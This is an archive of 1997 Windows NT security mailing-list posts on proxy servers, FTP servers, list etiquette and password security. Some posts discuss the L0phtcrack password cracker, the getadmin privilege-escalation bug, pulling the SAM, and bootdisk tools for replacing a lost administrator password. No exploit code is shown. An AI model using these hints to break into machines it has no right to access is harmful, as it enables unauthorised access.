 IOPL bits in the CPU, they can or cannot execute IO requests.
ring 3 is meant for end user programs. It can access other rings only by
 call gates :)

Andreas


-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: noconv

iQEVAwUBM8ngvFGrPWwMHrE1AQFtXAgA09E7xGDEmAEvoDTkI0atq1zV5eL8VxWm
u58r6/VAwQ7WPIt8zHN8zWW33sh+OWJG/JpHHpapsE/RTQzYyYWLs/9t62D+R9F7
yefPOIey6IsnHju+YxI2VPJFU6lH0Y3Yy5TgmaDJi7i9W4mAV1XZTZ74hghFIACl
z5wzGwGZmFyJXSYm7ixSwjIcARquO2kyPAn3gsIKQf9OkqzeBKp0YDlMSGiSS8Xj
cmTFKcGVJ+jtxQC2G9q4l4JuVthHbTFOiSQT1s3q70dY+unnB0EWDVnyaxAYmzkV
13XaDRcNYz3rMfulyueCDv3QUa5E+lzIv6qsnx//XDeHHbdau0EHVg==
=LaKs
-----END PGP SIGNATURE-----
Is the NT4 in the domain??...as a backup, domain server??....

Did u replicate the user database between servers?....
Is the user-level passwd file the right one?....(i thinks that's 
zilly :P)

....

Jorge Avila
Mexico Direct
Internet Applications Engineer
Please do not post items which have no relevance to security to the NT
*SECURITY* mailing list. It makes NO difference to our ability to secure
the OS whether or not MS squashes Netscape. Please take this sort of thing
to USENET.

There is ENTIRELY too much noise on this list, and I do NOT want it to
devolve into a discussion of whether MS can, should, or is going to conquer
the rest of the known universe.

PLEASE limit discussions to SECURITY related items.

-----------------------------------------------------------
David LeBlanc | Voice: (770)395-0150 x138
Internet Security Systems, Inc. | Fax: (404)395-1972
41 Perimeter Center East | E-Mail: dleblanc@iss.net 
Suite 660 | www: http://www.iss.net/
Atlanta, GA 30328 |

It seems they yanked the article off the WWW site, so, here it is....see the 
attached files.

- Ron -

----- Forwarded Message Starts Here -----

From: cwsaeger@minn.net
Date: Mon, 14 Jul 1997 17:41:58 -0500
To: tech@minn.net
Subject: PAGE ONE -- Microsoft's Fast Lane to The Internet / Critics

----- Forwarded Message Ends Here -----
RezPhreak
Server Administrator
-----------------------------------------------------
IRC via IRC Clients: minn.starchat.net
IRC via the WWW: http://irc.minn.net:8080
-----------------------------------------------------


It seems to me that at least as many bytes (if not more) are devoted to 
requests to stay on topic as are actually off topic. Just a thought. 
 Enjoying the list and learning a lot myself.

John
My email : lijun@hempseed.com
 lijun
Homepage : http://lijun.home.ml.org
 http://www.php.at-taiwan.com/~can00408/
 http://www.geocities.com/WallStreet/3689/ 
Tel : (8623)62800001-3269,3270 (Office)
 (8623)62828300 , 62903703 (Home) 
Addr : Computer Center,ICBC,No.1,North Road,
 NanPing, ChongQing, China, 630060
There is a command line tool cacls to change the ACL's throughout a 
directory tree.

Is there a command line tool to do the same with the audit policy, 
for instance with all *.exe on a drive?


Greetings

Frank Heyne
http://rcswww.urz.tu-dresden.de/~fh/
-----BEGIN PGP SIGNED MESSAGE-----

On Mon, 14 Jul 1997, David LeBlanc wrote:
> There is ENTIRELY too much noise on this list, and I do NOT want it to
> devolve into a discussion of whether MS can, should, or is going to conquer
> the rest of the known universe.
> 
> PLEASE limit discussions to SECURITY related items.
This is longterm security. Business practices of your core technology
deliverer should be a concern, especially with not open property
solution because there is no alternative as there is with for example 
UNIX.

Andreas



-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: noconv

iQEVAwUBM8tPg1GrPWwMHrE1AQFTrwf9F9wsOoFCSupGiH4JHYrI4sLlLrcHySo/
iGs5g9JUeaOMezLNf2x723wAbYA5XnnPviEZ1wGAkhNrPNjCltSTFw/AgJywrsPF
GTM0Ifs9IZeNebkNul5zz74vXbLotPhr+7Rck92nWLObYbyboeiJxWxtKKxUr9EL
FacCOY74k2xM3CG1REp1nAJLmER01mnwcd5XULxQUGNRZK9E89K3IkmGjLwvSzNA
JooVnV3wgppO2kNLBacvDhbBpmsLJzi2roYA7m/MEkjNxLquaXDymy/TrEIZpQpS
WNrSdyXDWMCiTcR7Da6wfFCayttK2rPlSsv7C1LQLIAHenMvNAdErA==
=bTn2
-----END PGP SIGNATURE-----




Why is it so difficult to adhere to the rules of the mailing list? As
dleblanc has repeatedly stated, the mailing list is for security matters,
not flaming or personal opinions about the new MS World Order! He has
recommended alternative mailing lists for those matters. Follow the rules
or move on so the rest of us who do follow the rules are not subjected to
mailboxes full of others' personal opinions.




brandyjc@donet.com on 07/14/97 11:12:12 PM

Please respond to brandyjc@donet.com

To: ntsecurity@iss.net
cc: (bcc: Andy S Bolin/Mott)
Subject: [NTSEC] Seems To Me...




It seems to me that at least as many bytes (if not more) are devoted to
requests to stay on topic as are actually off topic. Just a thought.
 Enjoying the list and learning a lot myself.
John







At 10:22 7/15/97 +0000, Andreas Kostyrka wrote:
>-----BEGIN PGP SIGNED MESSAGE-----
>
>On Mon, 14 Jul 1997, David LeBlanc wrote:
 
>> PLEASE limit discussions to SECURITY related items.

>This is longterm security. Business practices of your core technology
>deliverer should be a concern, especially with not open property
>solution because there is no alternative as there is with for example 
>UNIX.

The business practices of any vendor are NOT a proper topic for this list.
It is an emotionally charged issue, and leads to nothing but flame-wars.
The people who subscribe to this list depend on it for security related
information, some of which is time-critical. It may be a proper concern,
but PLEASE discuss it somewhere else. There are a number of USENET forums
which are quite adequate and deal with that topic constantly. It usually
boils down to "They are the evil empire", "Are not", "Are too" (repeat last
2 until blue in face).

If it doesn't directly have to do with maintaining information security on
Windows NT, please post it elsewhere. We do not have time to moderate the
list, but have been forced to do so in the past when flame-wars have broken
out. I'd rather not see a repeat of that. I'm asking everyone to _please_
be considerate of others and limit your posts to issues directly related to
security - we've all got quite full mailboxes, and frankly, the less junk I
have to wade through to find the important information the happier I am.

-----------------------------------------------------------
David LeBlanc | Voice: (770)395-0150 x138
Internet Security Systems, Inc. | Fax: (404)395-1972
41 Perimeter Center East | E-Mail: dleblanc@iss.net 
Suite 660 | www: http://www.iss.net/
Atlanta, GA 30328 |

This is now available from the MS proxy page:

 http://www.microsoft.com/proxy

There are lot's of new features such as dynamic packet filtering and real-time 
alerts. A key point of interest is that the previous version (1.0) explicitly 
stated it was *not* a firewall, whereas Version 2 is now being pitched as "The 
First Integrated Content Cache and Firewall Server for Windows NT Server 4.0". 

--Alan--
acr@als.co.uk


Here's yet another question about getadmin :

Is it possible to run the getadmin.exe in windows 95 and get it to work
properly if the NT dll's it needs were copied into the c:\windows\system
directory?

If so, is there a patch available that will allow me to protect myself
against this attack?

Also, another quick question...Does anyone have CGI script or some other
form of net source that will allow me to have a private page on my site
that users can logon through.. 

I.e. users will be able to access their own directories over the net.
How open to attack will this leave me. (I am planning to disable logons
from administrator, setup, etc. Just bog standard users will have access
to logon.

thanks
Misha
> This is longterm security. Business practices of your core technology
> deliverer should be a concern, especially with not open property
> solution because there is no alternative as there is with for example 
> UNIX.

No, the technology as related to security or the business as related to
security. Example: Microsoft releasing a new browser with whizzy-fizz-bang
v2.6 is not news. Microsoft releasing a statement stating: "We're insecure
and PROUD!" is.


--
"What do you want?" -- Mr. Morden, Microsoft Sales VP

-- John E. Jasen // Systems Alchemist \\ jjasen1@umbc.edu --
-- My views are not those of UMBC, AFAIK. HTH. HAND. --


As people try the proxy 2.0 beta I would like to hear your feedback on
how you like the new security features.


Dave

> -----Original Message-----
> From: acr@als.co.uk [SMTP:acr@als.co.uk]
> Sent: Tuesday, July 15, 1997 9:44 AM
> To: ntsecurity@iss.net; NTBUGTRAQ@RC.ON.CA
> Subject: [NTSEC] MS Proxy 2 Beta 
> 
> This is now available from the MS proxy page:
> 
> http://www.microsoft.com/proxy
> 
> There are lot's of new features such as dynamic packet filtering and
> real-time 
> alerts. A key point of interest is that the previous version (1.0)
> explicitly 
> stated it was *not* a firewall, whereas Version 2 is now being pitched
> as "The 
> First Integrated Content Cache and Firewall Server for Windows NT
> Server 4.0". 
> 
> --Alan--
> acr@als.co.uk
> 
In article you write:
> 
> I was able to use the utility with SP3 so long as Syskey wasn't installed.
> 
> -luke
> 
> >The utility doens't work with SP3 ...

Of course there are other bootdisk tools to replace the admin password
that even work if system key security has been turned on.

One of them is NTAccess but it is not free. More info is availabel at
www.mirider.com.

Best regards,
 Dieter
-- 
Dieter Spaar, Germany spaar@mirider.augusta.de
If address above fails: spaar@mirider.com

 *** Replace Windows NT admin password: http://www.mirider.com ***
On 14 Jul 97 at 0:37, Alan C. Ramsbottom wrote:

> The presence of the LanMan authentication data negates much of the
> effect of using a 'strong' password, and by removing it from the 
> challenge/response, a brute-force attack will typically take much 
> longer. 

A little more detail is called for; by "much" I really meant several orders
of magnitude longer e.g. in order to get the password equivalent NT OWF for a
strong password, it would take an average of about two thousand years 
(assuming a relatively generous "crack rate" of one million attempts per 
second on a typical high-end desktop machine).

> PS: Could some NT device driver/kernel guru please explain "ring 0"?

PS: Many thanks to everyone who sent me some very good explanations 
privately. Although I knew about the kernel/user mode concepts, I'd 
never heard the term "ring 0" before.

Regards,

--Alan--
acr@als.co.uk

Does anyone have any feedback or knowledge on using Proxy 2.0 with 
Steelhead? Can you use proxy with steelhead if you have a ISDN modem 
connected to a NT server as a dial on demand router? In other words does 
Proxy require two NIC cards or will it use the RAS / WAN connection?


Any ideas?
I need to pass the variable for user name on to another application.
Does anyone have the information concerning what that variable is.


Thanks,
Bob Boyd

Information Security Officer
Kentucky Revenue Cabinet
Office (502)564-5200 X4492
Fax (502)564-9896
e-mail BBoyd@ mail.state.ky.us

One question is: what, if anything, would this do to Samba?



--
"What do you want?" -- Mr. Morden, Microsoft Sales VP

-- John E. Jasen // Systems Alchemist \\ jjasen1@umbc.edu --
-- My views are not those of UMBC, AFAIK. HTH. HAND. --


Proxy and steelhead complement each other well in that situation. You
can use the dial on demand to 
provide the internet access.

Dave

> -----Original Message-----
> From: Mike Adams [SMTP:mikea@netropolis.net]
> Sent: Tuesday, July 15, 1997 1:58 PM
> To: 'ntsecurity@iss.net'
> Subject: [NTSEC] Steelhead / Proxy 2.0a Question...
> 
> Does anyone have any feedback or knowledge on using Proxy 2.0 with 
> Steelhead? Can you use proxy with steelhead if you have a ISDN modem
> 
> connected to a NT server as a dial on demand router? In other words
> does 
> Proxy require two NIC cards or will it use the RAS / WAN connection?
> 
> 
> Any ideas?
If you ferret through the docs you will find that the answer is - YES.

There just need to be "TWO" networks. It doesn't matter what devices
each network is connected on, as long as RAS + Routing can find driver
support for them. Proxy 2 is designed to cooperate with R&R services.
Again, its in the docs - errr dare I say - rtfm

The security aspect seems much improved, well at least a lot more options.

----------
From: Mike Adams 
To: 'ntsecurity@iss.net'
Subject: [NTSEC] Steelhead / Proxy 2.0a Question...
Date: Wednesday, July 16, 1997 1:58 AM

Does anyone have any feedback or knowledge on using Proxy 2.0 with 
Steelhead? Can you use proxy with steelhead if you have a ISDN modem 
connected to a NT server as a dial on demand router? In other words does 
Proxy require two NIC cards or will it use the RAS / WAN connection?


Any ideas?
Hmmm, well if I go to a command prompt and type SET to dump them I get ....


USERNAME=xxxxxx

At 02:07 PM 7/15/97 -0400, Boyd, Bob wrote:
>I need to pass the variable for user name on to another application.
>Does anyone have the information concerning what that variable is.
>
>
>Thanks,
>Bob Boyd
>
>Information Security Officer
>Kentucky Revenue Cabinet
>Office (502)564-5200 X4492
>Fax (502)564-9896
>e-mail BBoyd@ mail.state.ky.us
>
>
>


============================================================================
====
Eric Germann Computer and Communications Technologies
ekgermann@cctec.com Van Wert, OH 45891
 Phone: 419 968 2640
http://www.cctec.com Fax: 419 968 2641

Network Design, Connectivity & System Integration Services 
A Microsoft Solution Provider 
-----BEGIN PGP SIGNED MESSAGE-----

On 15 Jul 97 at 10:02, David Trulli wrote about: RE: [NTSEC] MS
Proxy 
2 Beta 

> As people try the proxy 2.0 beta I would like to hear your 
feedback
> on how you like the new security features.

I think we all would like to hear about the improved security of Proxy
2.0. I hope results will be posted to this list...

Frank


-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQCVAwUBM8vUacZP3ocmY5AlAQHQhwQAyOdO8Fw5QFsbZTFHGibgTDY9PT8tCNAp
IJXC1SidP+w6vGaCpovIrZFtXYSwUSV15nlcNQneB8Z1hwCYa4igmPUq3ivD2+R3
laCqVo+Roa0hg26Z3NhGjf1BiV9VMF3972V+LIe7AuLEo9sFbJ32K8CB25OnvBkN
JQ/PzhiPJFs=
=nMvo
-----END PGP SIGNATURE-----
-----BEGIN SPAM WARNING-----

WARNING: ANYONE SENDING UNREQUESTED ADVERTISEMENT
VIA EMAIL WILL BE ADDED TO A FILTER LIST, WHICH WILL
AUTOMATICALLY DELETE EVERY MAIL FROM THE SENDER.
THIS WILL DISABLE FURTHER CORRESPONDENCE.
PLEASE REFRAIN FROM SENDING JUNK E-MAIL (SPAM).
THIS E-MAIL ADDRESS IS NOT TO BE ADDED TO A MASS
EMAIL LIST.

-----END SPAM WARNING-----
Received: from brimstone.netspace.org (brimstone.netspace.org [128.148.157.143]) by serv2.ilinks.net (8.8.5/8.6.12) with ESMTP id QAA19644; Tue, 15 Jul 1997 16:13:15 -0400 (EDT)
Received: from unknown@netspace.org (port 6919 [128.148.157.6]) by brimstone.netspace.org with ESMTP id <35424-19870>; Tue, 15 Jul 1997 15:53:59 -0400
Received: from NETSPACE.ORG by NETSPACE.ORG (LISTSERV-TCP/IP release 1.8c) with
 spool id 4374554 for BUGTRAQ@NETSPACE.ORG; Tue, 15 Jul 1997 15:46:02
 -0400
Received: from l0pht.com (l0pht.com [199.201.145.1]) by netspace.org
 (8.8.5/8.8.2) with ESMTP id PAA28578 for ; Tue,
 15 Jul 1997 15:45:53 -0400
Received: from localhost (mudge@localhost) by l0pht.com (8.8.5/8.8.4) with SMTP
 id PAA01961 for ; Tue, 15 Jul 1997 15:48:53
 -0400
MIME-Version: 1.0
Approved-By: Who cares what the hell goes into a Gecos field anyway!
 
Message-ID: 
Date: Tue, 15 Jul 1997 15:48:52 -0400
Illegal-Object: Syntax error in Reply-To: address found on brimstone.netspace.org:
 Reply-To: Who cares what the hell goes into a Gecos field anyway! 
 ^ ^-missing end of address
 \-extraneous tokens in address
Sender: Bugtraq List 
Illegal-Object: Syntax error in From: address found on brimstone.netspace.org:
 From: Who cares what the hell goes into a Gecos field anyway! 
 ^ ^-illegal special character in phrase
 \-extraneous tokens in mailbox
Subject: L0phtcrack 1.5
From: 
To: BUGTRAQ@NETSPACE.ORG
Content-Type: TEXT/PLAIN; charset=US-ASCII
 

Greets everyone,

A couple of things that I haven't changed in the below announcement since
weld was kind enough to do it while I was at DefCon.

1) Microsoft now has a "fix" based upon this information - we will see if
they provide proper credit. Though I know of no sites that would be able
to widely deploy this patch.

2) SMB signing (ie SP3) can be broken in the same way that we attack the
"challenge-response".

3) the times posted below are for intel. The UltraSparc times are much
much faster.

4) The Challenge response is just as 'brute-force'-able as without this
extra 'obfuscation' level.

Full program including source and binaries
can be found at:

http://www.l0pht.com


 COMMERCIAL AND GOVERNMENT USERS PLEASE SEE THE END
 OF THIS FILE FOR LICENSING INFORMATION. FOR YOU THIS
 PROGRAM IS SHAREWARE, FOR ALL OTHERS IT IS FREE.

-----BEGIN PGP SIGNED MESSAGE-----

On Sun, 15 Jun 1997, Comms_Server wrote:

> Here's yet another question about getadmin :
> 
> Is it possible to run the getadmin.exe in windows 95 and get it to work
> properly if the NT dll's it needs were copied into the c:\windows\system
> directory?
Since when does Win95 have a notion of Admin? (It may have one in a
domain, but this applies to the NT boxes, not the Win95 ones, right?)

Andreas


-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: noconv

iQEVAwUBM8wXiVGrPWwMHrE1AQEKvQf9EaUmkO70EySs3Ja9hQ64Brk3oSUBFAaf
p+bbiV5HtlldgwwYc/cTbmWySfCnAn8AZ0ThS9yb3dv/nGZuE7AgYk/KHBqm9HR8
TXjnGgJ7xXqFrbVYrp8DpGT82D36yZUZF/7jrKraSTtdahux8E++2rCndSsEeg8+
pLIUdjGuQ/FKeQX4skwC6wPcgqcPjaxTWojulZY/Ru2Sw8eWdKHdyGetMTir8uI/
RL6+DgrnMiC4dKrr+dSsq7tUio589xUeOevXUcb6ClKA49DkTJElsMHqChTRMQsk
uJkMEorB9bBWDekh1emt88NQHCQ4TuEOel+BeqgCmtddQWDCLjrqPA==
=zKWM
-----END PGP SIGNATURE-----
A while ago someone mentioned a more secure NT FTP server that you could
configure to drop a user into their home directory rather than IIS's
"ftproot" but I can't for the life of me remember what it was called... any
takers?

Martin

________________________________________________________________________
T E L E P O R T W E B M A S T E R

Teleport Internet Services | 319 SE Washington #305 | Portland, OR 97204
Phone (503) 223-0076 | Fax (503) 223-4372 | Email webmaster@teleport.com


 
 NT friends,
 
 I am looking for a way to use the NET commands to provide me with 
 security for a \\SERVER or a /DOMAIN. If you have the magic key 
 sequences please forward them to me.
 
 Thanks,
 Chris
 
 The variable is USERNAME. I guess, you will have to refer to it as 
 %USERNAME% if your are writing a simple DOS script.
 
 Execute the command 'set' at the DOS prompt, and you will see all the 
 environmental variables.
 
 Cheers,
 Viren


______________________________ Reply Separator _________________________________
Subject: [NTSEC] Variable (User Name)
Author: BBOYD (BBOYD@mail.state.ky.us) at unix,mime
Date: 16/7/97 2:07 AM


I need to pass the variable for user name on to another application. 
Does anyone have the information concerning what that variable is.
 
 
Thanks,
Bob Boyd
 
Information Security Officer
Kentucky Revenue Cabinet
Office (502)564-5200 X4492
Fax (502)564-9896
e-mail BBoyd@ mail.state.ky.us

 Hi Misha,
 
 Banyan Systems Australia just announced a product that allows users to 
 access their LAN from the Internet by logging into a personal web 
 page.
 
 From "The Australian" newspaper, Tuesday 15 July 1997:
 ---
 "That will take you back through your firewall to your Corporate 
 network ..."
 "... based on the Windows NT platform and sits behind the network 
 firewall."
 "It acts as an interpreter between user requests and the network, 
 providing SSL encryption and verifying users with digital 
 certificates."
 "... costs AU$7850 for up to 25 users and AU$23,560 for up to 100."
 ---
 
 I'm interested in any similar technologies, so keep us posted.
 
 Regards,
 Matthew See - Internet Administrator
 Perpetual Trustees Australia


______________________________ Reply Separator _________________________________
Subject: [NTSEC] Getadmin
Author: Comms_Server at INTERNET
Date: 16/7/97 8:53 AM


Here's yet another question about getadmin :
 
Is it possible to run the getadmin.exe in windows 95 and get it to work 
properly if the NT dll's it needs were copied into the c:\windows\system 
directory?
 
If so, is there a patch available that will allow me to protect myself 
against this attack?
 
Also, another quick question...Does anyone have CGI script or some other 
form of net source that will allow me to have a private page on my site 
that users can logon through.. 
 
I.e. users will be able to access their own directories over the net. 
How open to attack will this leave me. (I am planning to disable logons 
from administrator, setup, etc. Just bog standard users will have access 
to logon.
 
thanks
Misha

Try this
http://home.eunet.no/~pnordahl/ntpasswd/bootdisk.html

Tim Chovanak (Digital Equipment Corporation) wrote:

> What version, and do you know of any other accounts on the box?
>
> If it's 3.51 and Guest is enabled (default), you might be able to put
> the recent GetAdmin bug to use, if it works on 3.51 boxes.
>
> > -----Original Message-----
> > From: Ronald Golden [SMTP:rgolden@akamail.com]
> > Sent: Wednesday, July 09, 1997 2:57 PM
> > To: NT Security Mailing List (E-mail)
> > Subject: [NTSEC] Lost Administrator Password
> >
> > We had a user with the administrator password on a NT standalone
> > workstation get fired. He was the only one with the password. Is
> > there
> > anyway to get into this machine, or are we hosed?
> >
> > On another note. Yesterday, I sent out an e mail to my address
> book,
> > the
> > purpose of which was to transfer names to my Netscape e mail. I
> > accidentally included this list in the mailing. I sincerely
> apologize
> > for
> > any inconvenience it caused. I only sent it once. I don't know why
>
> > it got
> > sent so many times. It was not intentional. I even waited until I
> > had
> > something to post to send this apology. Thanks.
> >
> > Ronald Golden
> > rgolden@akamail.com
> >
> > -----BEGIN PGP PUBLIC KEY BLOCK-----
> > Version: 2.6.2
> >
> > mQCNAzMBGQcAAAEEAPaV49Ge3Y4nQFn3rDrafDR8iy1SjDM49Sdtc2pg3+X06mG5
> > cxQbYhBMmLTGsAIYGOrCs0zd5XEE4ny6AxYhId0b/SxcX8dcs8sHr9q1vW14sWo8
> > wMyF6JkafJvVvusRXQi7jrBu9obPYbeR9zwJOHAZiC4YByHvzvnfcgvl/rYlAAUR
> > tCZSb25hbGQgUy4gR29sZGVuIDxyZ29sZGVuQGFrYW1haWwuY29tPg==
> > =qRI0
> > -----END PGP PUBLIC KEY BLOCK-----



--
Stephen Cooper 
Internet Engineer, Internet and Open Systems Group
AlphaWest, Level 10, QV1 Building, 250 St Georges Tce, Perth, WA 6000
Main: (+61 8) 94296000 Fax: (+61 8) 94296030


have used it..requires a lot or processor oomph for brute force. Pulls
the SAM down form any machine easily though...net Admin privillages
though.

>----------
>From: 0x486578[SMTP:486578@ilinks.net]
>Sent: Wednesday, July 16, 1997 9:19 AM
>To: ntsecurity@iss.net
>Subject: [NTSEC] [Fwd: L0phtcrack 1.5]
>
><>
>
>
 Hi,
 
 I wonder if somebody can help me...
 
 I am trying to setup scripts for a primarily NT Domain, wint clients 
 using Win95 + NT. I was looking for a good package to use and 
 somebody on this list recommend that I use Kixtart. At the moment I 
 am just testing its implementation using some example scripts. I am 
 using the one which just displays the persons Groups etc. Clients 
 using NT displays the results OK but clients using win95 dont do 
 anything. Do you know how win95 gets its security settings when login 
 in?
 
 I would really appreciate any help you can give. 
 
 
 Thanks Keith.
Suppose a subnet with some hosts configured without using WINS. (A)
Suppose another subnet with some hosts configured with and without 
WINS. (B)
Subnet A and B can communicate to eachoter.

A host on subnet A asks for a new computername, it choosses a name that is
also in use at subnet B.
Hosts on subnet a will let allow the host to take this name because no
hosts carry the requested name.

What will happen when you do net use ... ?

Hopefully someone can give me answer, and where did i go wrong?

Wouter.

There is a way to configure NT's built in ftp server to drop you in a
users home directory. THere is a white paper on MS's website...

-----------------------------------------------------------
Joshua J. Soliz,MCSE
jsoliz@dpai.com
Network Consultant
DeCarlo, Paternite, And Associates, Inc.



>-----Original Message-----
>From: Martin Declan Kelly [SMTP:declan@teleport.com]
>Sent: Tuesday, July 15, 1997 7:16 PM
>To: ntsecurity@iss.net
>Subject: [NTSEC] Secure FTP
>
>A while ago someone mentioned a more secure NT FTP server that you could
>configure to drop a user into their home directory rather than IIS's
>"ftproot" but I can't for the life of me remember what it was called... any
>takers?
>
>Martin
>
>________________________________________________________________________
>T E L E P O R T W E B M A S T E R
>
>Teleport Internet Services | 319 SE Washington #305 | Portland, OR 97204
>Phone (503) 223-0076 | Fax (503) 223-4372 | Email webmaster@teleport.com
>
>
Serv-U FTP server. It allows you to assign a directory for each user, set disk quotas, Upload/Download ratios, different login messages for different users, etc. Its an excellent program. The only drawback is that it does not run as a service. The program is VERY inexpensive (around $30)

 Check out www.cat-soft.com for more information....

Charlie

-----Original Message-----
From: Joshua Soliz [SMTP:jsoliz@dpai.com]
Sent: Wednesday, July 16, 1997 8:23 AM
To: 'ntsecurity@iss.net'
Subject: RE: [NTSEC] Secure FTP

There is a way to configure NT's built in ftp server to drop you in a
users home directory. THere is a white paper on MS's website...

-----------------------------------------------------------
Joshua J. Soliz,MCSE
jsoliz@dpai.com
Network Consultant
DeCarlo, Paternite, And Associates, Inc.



>-----Original Message-----
>From: Martin Declan Kelly [SMTP:declan@teleport.com]
>Sent: Tuesday, July 15, 1997 7:16 PM
>To: ntsecurity@iss.net
>Subject: [NTSEC] Secure FTP
>
>A while ago someone mentioned a more secure NT FTP server that you could
>configure to drop a user into their home directory rather than IIS's
>"ftproot" but I can't for the life of me remember what it was called... any
>takers?
>
>Martin
>
>________________________________________________________________________
>T E L E P O R T W E B M A S T E R
>
>Teleport Internet Services | 319 SE Washington #305 | Portland, OR 97204
>Phone (503) 223-0076 | Fax (503) 223-4372 | Email webmaster@teleport.com
>
>

If you set the permissions properly on the ftproot, and then change the
home directories for the ftp login users, you can have each login user
have access to their own directory, and be automagically dumped in their
'home' directory when they log in. This setup is documented in the IIS
documentation.
Rich Gautier
rgautier@drc.com
703-412-2812 ext 6054



In Response to:
>
>Date: Tue, 15 Jul 1997 15:16:13 -0800
>From: Martin Declan Kelly 
>Subject: [NTSEC] Secure FTP
>
>A while ago someone mentioned a more secure NT FTP server that you could
>configure to drop a user into their home directory rather than IIS's
>"ftproot" but I can't for the life of me remember what it was called... any
>takers?
>
>Martin
>
>________________________________________________________________________
>T E L E P O R T W E B M A S T E R
>
>Teleport Internet Services | 319 SE Washington #305 | Portland, OR 97204
>Phone (503) 223-0076 | Fax (503) 223-4372 | Email webmaster@teleport.com
>
>
Check out http://www.jgaa.com/tftpd.htm instead...

WAR FTP Daemon...

The following is a list of features of The FTP Demon

Compatibility 

Follows the RFC 959 and 1123 FTP specifications. 
Works with Cute-FTP, WS_FTP, ftp (the one following Win95 and NT), MS
Internet Explorer, Netscape Navigator, AmFTP, M-FTP, GuiFTP, - in fact,
there is hardly reported any incompatibility at all. 
Emulates standard UNIX ftp servers, including most ls line parameters and
ls formatted output. 
ABOR command supported. (Yes - it's listed in the RFC, but not all PC based
FTP servers can handle it). 
REST command supported (Resume an aborted transfer) 
Import filter for Serv-U user database 
Native support for NT service process mode. 
Optional Wu-ftpd compatible log for file transfers 
Operates on Windows95, Windows NT 3.51 (Intel only) and Windows NT 4.0
(Intel only). 
War FTP Daemon is a native 32 bit application and will not work on Windows
3.*. Requires 486 processor or better. 

Design 

Multithreading 
Dialog based system console 
Simple and advanced mode of operation, making it perfect for both small and
large FTP services. 
Users are organized in user-groups and user-classes to ease maintenance of
time-out, directory/file access etc. 
Automatic shutdown option when the last user has logged off 
Displays a list of all users online where you can kick one of them, edit
the user database entry, send a message to the user or even spy at the user
(see the last
given command, current directory, file transfers and a list of all files
this user has sent/received during the current session. 
Supports user supplied messages to the console through the SITE MSG command. 
Supports personal greeting messages to all users, groups and classes. 
Full OLE support for Win95/NT4 .lnk shortcuts 
Online and off-line operation 
In-memory transfer of directory listings 
DOS or UNIX style directory paths 
Mapping of paths to the root path 
Support for long filenames 
Virtual file system for improved performance and functionality, including
full UNIX-like security and links on directory and file level. 
Scheduled re-scans of the Virtual File system to handle changes made on the
file system outside the server. 
"On the fly" generation of index files for the current directory/all files
on the system (that the user is allowed to see) 
Support for comments on any file/directory in "on the fly" generated .index
files. 
Macros in the welcome files to display the users name, time-out limit etc. 
On single network/ppp connections, the server shows the current IP number
in an edit window, allowing copy/paste of the number to other applications. It
also saves this number to a file. 
Multihoming/multihosting support allows setup of several virtual FTP
servers based on the IP number the user connect to. Both
single-server/multiple domains
and multiple-servers/single (virtual) domain is supported. 
Firewall support - if FTP transfers is allowed, the War FTP Daemon is
reported to work with most firewalls. 
Context-sensitive Help 
Mounting of network drives at startup (NT service mode only) 
Denial of upload if the free disk space runs too low 
Flexible verification option on incoming files. This feature allows you to
use “plug-in” modules (external programs) to verify and validate incoming
files before
the upload is accepted by the server. Can be used for CRC checking, virus
scanning, processing of file_id.dix files etc. Several free plug-in modules
are made available by experienced War FTP daemon users. 
Option to handle brain dead ISP's (you know - those who try to block out
personal FTP sites on your ppp account) 
CD-ROM and CD-Julebox support (copy of files to harddisk prior to
transfering the file) 

Security 

High level of security with directory-level permissions for read, write,
execute, dir, mdkdir, rmdir and delete. 
Full UNIX security with user group and rwx permissions if the Virtual File
System is used 
Upload/Download ratio option for anonymous and regular users. Supports file
or byte check (upload # files/bytes for each # files/bytes to download). Free
files can be defined. 
Reports of user access privileges, directory access privileges, etc. 
Maximum number of concurrent connections for users, groups and classes. 
Maximum number of connections based on login IP number (allows you to have
## anonymous logins, but just # concurrent connections from one
workstation. Handy to prevent one user from taking up too many connections. 
Simple one-button enable or disable option for users, groups and classes 
IP level access control for the system, users, groups and classes. Incoming
connections can be refused before and after login based on the callers IP
address. 
Automatic disable of an account if a selectable number of bad passwords are
given 
"Not Wanted" list of files that will be refused. 
"Dupe checker" that can deny upload of any filename that exist within the
paths of the server 
Disconnect single users without shutting the system down 
Stop an ongoing file transfer without disconnecting the user 
No built-in limitations ("crippling"), "secret" connections to my site or
any other ugly stuff. 

//Magnus

>Serv-U FTP server. It allows you to assign a directory for each user, set
>disk quotas, Upload/Download ratios, different login messages for
different >users, etc. Its an excellent program. The only drawback is
that it does not >run as a service. The program is VERY inexpensive
(around $30)
>
> Check out www.cat-soft.com for more information....
>
>Charlie
>
>-----Original Message-----
>From: Joshua Soliz [SMTP:jsoliz@dpai.com]
>Sent: Wednesday, July 16, 1997 8:23 AM
>To: 'ntsecurity@iss.net'
>Subject: RE: [NTSEC] Secure FTP
>
>There is a way to configure NT's built in ftp server to drop you in a
>users home directory. THere is a white paper on MS's website...
>
>-----------------------------------------------------------
>Joshua J. Soliz,MCSE
>jsoliz@dpai.com
>Network Consultant
>DeCarlo, Paternite, And Associates, Inc.
>
>
>
>>-----Original Message-----
>>From: Martin Declan Kelly [SMTP:declan@teleport.com]
>>Sent: Tuesday, July 15, 1997 7:16 PM
>>To: ntsecurity@iss.net
>>Subject: [NTSEC] Secure FTP
>>
>>A while ago someone mentioned a more secure NT FTP server that you could
>>configure to drop a user into their home directory rather than IIS's
>>"ftproot" but I can't for the life of me remember what it was called... any
>>takers?
>>
>>Martin
>>
>>________________________________________________________________________
>>T E L E P O R T W E B M A S T E R
>>
>>Teleport Internet Services | 319 SE Washington #305 | Portland, OR 97204
>>Phone (503) 223-0076 | Fax (503) 223-4372 | Email webmaster@teleport.com
>>
>>
>
>
 ___ ___ 
 / |\/ |\_____________________________
 / |/ || marix@engelholm.se |
 / /| /| || http://zzz.flum.org |
 /_/ |__/ |_||-----------------------------
 \_\/\__\/\_\|
 Life is what happens while
 you´re making other plans
As a thought, without seeing the program, could you run it as a service
using srvany.exe from the resource kit? I do it with a lot of PERL scripts
that need to run in a loop.

Eric


At 09:01 AM 7/16/97 -0400, Charlie Derk wrote:
>Serv-U FTP server. It allows you to assign a directory for each user, set
disk quotas, Upload/Download ratios, different login messages for different
